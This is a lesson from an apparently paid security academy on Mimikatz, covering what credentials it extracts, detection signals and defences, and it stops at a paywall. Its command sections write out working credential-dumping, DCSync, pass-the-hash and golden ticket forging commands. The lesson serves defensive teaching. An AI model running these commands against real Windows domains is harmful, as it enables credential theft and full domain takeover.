Mimikatz is the tool that defined modern Windows credential attacks. Benjamin Delpy’s 2011 research paper accompanying it single-handedly changed how the security community thinks about Windows auth. This module covers what Mimikatz does, how defenders catch it, and why Credential Guard matters.

What it extracts

Mimikatz reads credentials from process memory (primarily LSASS — Local Security Authority Subsystem Service) and from local SAM/SECRETS registry hives. Specifically:

NTLM hashes of logged-in users (from LSASS)
Plaintext passwords if WDigest is enabled (legacy — disabled by default in modern Windows)
Kerberos tickets — TGT and service tickets
Certificates and their private keys from the cert store
Local SAM password hashes
Cached domain credentials (MSCACHE)

Classic commands

# Elevate to debug privileges
privilege::debug

# Dump all logon passwords/hashes from LSASS
sekurlsa::logonpasswords

# Dump local SAM password hashes
lsadump::sam

# Export Kerberos tickets to disk
sekurlsa::tickets /export

# DCSync — replicate all password hashes from a DC (needs DCSync rights)
lsadump::dcsync /domain:corp.example.com /user:krbtgt

# Pass-the-Hash — authenticate using NTLM hash
sekurlsa::pth /user:Administrator /domain:corp /ntlm:HASH /run:cmd

Golden Ticket — the doomsday capability

If Mimikatz extracts the krbtgt account hash (via DCSync or from NTDS.dit), it can forge Kerberos TGTs for ANY user in the domain:

kerberos::golden /user:AttackerUser /domain:corp.example.com \
                 /sid:S-1-5-21-xxxx /krbtgt:KRBTGTHASH \
                 /id:500 /groups:512 /ptt

That ticket is valid for 10 years by default. Survives password resets of the impersonated user. The ONLY way to revoke: reset the krbtgt password twice. Most orgs don’t.

Detection signals

Mimikatz is the most-detected tool in enterprise. Key signals:

Process access to LSASS with debug + sedebug privileges — Sysmon Event ID 10 + Windows Event 4656/4663
LSASS memory read from unusual process — EDR behavioural rule
Known Mimikatz byte patterns — AV/EDR signature detection (every vendor has these)
Service ticket requests for krbtgt as target SPN — Event 4769 with unusual TargetSid
DCSync from non-DC principal — Event 4662 with GetChanges/GetChangesAll GUID

Defences

Credential Guard (Windows 10/Server 2016+) — isolates LSASS secrets in a VBS (virtualization-based security) container. Mimikatz can no longer read the protected memory.
LSASS protection (PPL) — makes LSASS a Protected Process Light. Limits which other processes can access it.
Disable WDigest — removes plaintext password cache.
Protected Users group — disables NTLM, RC4, delegation for members.
Tiered admin — never login DA on untrusted workstations (where LSASS can be dumped).
ATA / Defender for Identity — behavioural detection of Mimikatz techniques from DC traffic.
Regular krbtgt rotation — rotate twice annually minimum. Invalidates golden tickets.

Modern alternatives attackers use

Because Mimikatz is so well-detected, attackers increasingly use:

🔐 Intermediate Module · Basic Tier

Continue reading with Basic tier (₹499/month)

You've read 33% of this module. Unlock the remaining deep-dive, quiz, and every other Intermediate module.

99+ modulesAll levels up to this tier

20-question quizzesUnlimited retries with explanations

Completion certificatesShareable on LinkedIn

See pricing → Sign in

3 more sections locked below

Module 5 · Mimikatz — Credential Extraction 🔒

What it extracts

Classic commands

Golden Ticket — the doomsday capability

Detection signals

Defences

Modern alternatives attackers use

Continue reading with Basic tier (₹499/month)

Other modules in this track

Module 2 · Burp Suite — Web Application Testing <span style="color:#6EC1E4;font-size:0.7em;vertical-align:middle;" title="Academy lesson — sign in for full access">🔒</span>

Module 1 · Nmap — Network Discovery and Port Scanning <span style="color:#6EC1E4;font-size:0.7em;vertical-align:middle;" title="Academy lesson — sign in for full access">🔒</span>

Module 4 · Hashcat — Password Cracking <span style="color:#6EC1E4;font-size:0.7em;vertical-align:middle;" title="Academy lesson — sign in for full access">🔒</span>